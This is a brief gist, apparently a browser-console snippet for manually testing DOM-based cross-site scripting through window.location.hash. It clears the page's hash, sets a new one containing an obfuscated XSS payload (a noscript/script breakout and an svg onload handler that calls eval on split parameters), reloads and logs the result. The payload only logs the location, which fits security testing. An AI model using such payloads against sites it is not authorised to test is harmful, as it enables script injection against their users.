console location.hash js manual injection check for xss window.location.hash

gistfile1.txt

console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>console.log(document.location)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);